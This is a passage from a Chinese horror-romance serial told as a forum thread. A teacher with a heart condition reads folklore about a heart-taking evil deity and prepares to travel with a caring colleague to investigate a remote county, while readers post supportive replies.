书里记载了很多邪神还有邪祟的故事。里面写的东西比那篇文章详细得多。说心官成形于津朝末年,原本是一个先天性心脏病患儿,被弃于破庙,后被一对夫妇收养。养父母倾家荡产为他治病,却被债主打死了。他沦为乞丐,冻毙于城角。怨念不散,化为邪神。 书里还写了一段话,被人用红笔圈了出来: “心官初时只敢徘徊于荒野,后渐入人间,专寻心脏有疾者,夺其性命,据其心脏。其所夺之心脏皆化为其身上枝干所挂之果,然有一心,始终未得。心官寻之百年,未尝得见。或曰,那颗心已随一人转世而去,藏于众生之中,不可辨识。” 我读完这段话,忽然觉得胸口很闷。不是心脏疼,是别的什么。像有什么东西在里面翻涌,想出来又出不来。 我同事看了我一眼,把书拿过去合上了。 “别看了。”他说。 “为什么?” “你脸色不好。” 我说我没事。他没理我,把书收进了他的包里。 那天晚上,他又给我煮了一碗甜粥。我喝了,但这次不觉得甜。 4/10 20:35 93L 天天向下 心官找的那颗心……不会就是楼楼的吧? 94L 星野漫漫 别说了……我害怕…… 95L 洛洛 如果楼楼就是那颗心,那心官找了你多久?几百年?这得是几辈子的事了啊∑(O_O;) 96L LZ 林中霁色 我不知道。但如果是真的,那也太荒唐了。 我就是一个普通的语文老师,教了几年书,没什么特别的。好好一个人,怎么就成了一颗心了呢? 我同事说:“是不是都无所谓。你现在是人,不是心。这就够了。” 我看着他,忽然觉得,不管那颗心是什么,不管心官在找什么,这辈子能遇到他,就够了。 4/10 20:55 97L 北风那个吹 楼楼你这话说得……我又要哭了。 98L 摸鱼事务所 所以你们暑假还是要去青林吗? 99L LZ 林中霁色 要去。 我们查了这么久,怎么可能中途放弃? 而且,我总觉得还有事情没有查到。 4/10 21:15 100L 天天向下 楼楼你们什么时候出发?还是暑假吗? 101L LZ 林中霁色 嗯。还有两个多月。 这两个月里,我会继续查资料。我同事说他那个朋友还会再寄一些东西过来。 我现在每天晚上都会做那个梦。有时候是河,有时候是走廊,有时候是森林。那个人还是会用各种方式消失,但最近几次,他在消失之前都会说一句话。 他说:“你来了。” 就这三个字。 我不知道他在等谁。但我每次听到这三个字,心脏都会疼一下。 4/10 21:55 102L 北风那个吹 楼楼,你一定要照顾好自己。按时吃药,别太累。 103L LZ 林中霁色 会的。 我同事每天都会提醒我吃药。早上一次,晚上一次。比闹钟还准。 有一次我问他:“你怎么记得这么清楚?” 他说:“因为你的命不只是你的。” 说完他就走了,去厨房热牛奶。我站在原地,想了很久。 他说得对。我的命不只是我的。 我的朋友,学生,同事,还有他。他们都不希望我死,都希望我活着。 7/19 15:20 104L LZ 林中霁色 明天出发。 这几个月又查到了很多资料。关于窥灵的,关于心官的……关于卓生报社的。 有些东西,越查越觉得不对劲。就好像拼图少了一块,而且偏偏是最重要的那一块,让人心神不宁。 我同事说,也许那块拼图就在青林县。 他说的时候,正蹲在地上帮我收拾行李。他往我箱子里塞了好几件厚衣服,我说现在是七月,热得要命。他说青林在山里,晚上冷。 我说你怎么知道? 他说:“查过了。” 他总是这样。 我从背后看着他,忽然想说谢谢。但没说出口。 熟人之间说这些总会显得矫情。 7/19 15:40 105L 天天向下 楼楼!!终于等到后续了!! 106L 洛洛 注意安全啊楼楼!一定要注意安全! 107L 星野漫漫 青林县……我在地图上找了半天,那地方太偏了。你们怎么去啊? 108L LZ 林中霁色 先坐火车,再转汽车,再转……好像还要走一段山路。 我同事把行程安排得明明白白,几点坐车,几点吃饭,住哪个旅馆,都写在一张纸上,夹在笔记本里。 我说你至于吗? 他说:“至于。” 他就是这样。从来不嫌麻烦。我很羡慕他,我就从来没有做过如此详细的计划。 7/19 16:00 109L 北风那个吹 楼楼,你们去了之后,打算怎么查?报社旧址还在吗? 110L LZ 林中霁色 还在。我同事那个朋友说,旧址已经荒废了,但房子还在。门口那棵槐树也还在。 他说“槐树还在”的时候,语气很奇怪。好像这四个字有别的什么特别的意思。 我没多想。明天到了就知道了。 我同事在楼下按喇叭,催我出发。先去吃晚饭,然后去火车站。 先写到这。 等我到了,如果有空,会上来报平安。 如果没空……就等回来再说。 反正,不管查到什么,我都会回来告诉你们。 7/19 16:15 111L 天天向下 楼楼!一路平安! 112L 星野漫漫 平安归来! 113L 北风那个吹 等你们回来! 114L 摸鱼事务所 注意安全。记得更新。 115L 空白 保重。 116L LZ 林中霁色 嗯。走了。 8/3 23:50 系统提示:该帖已有15天未更新,是否仍标记为“连载中”? 8/31 00:00 [本帖已被归档] --- 最后编辑时间:2014年7月19日 16:20 本帖共有 237 人收藏,2,976 人浏览 (tot)>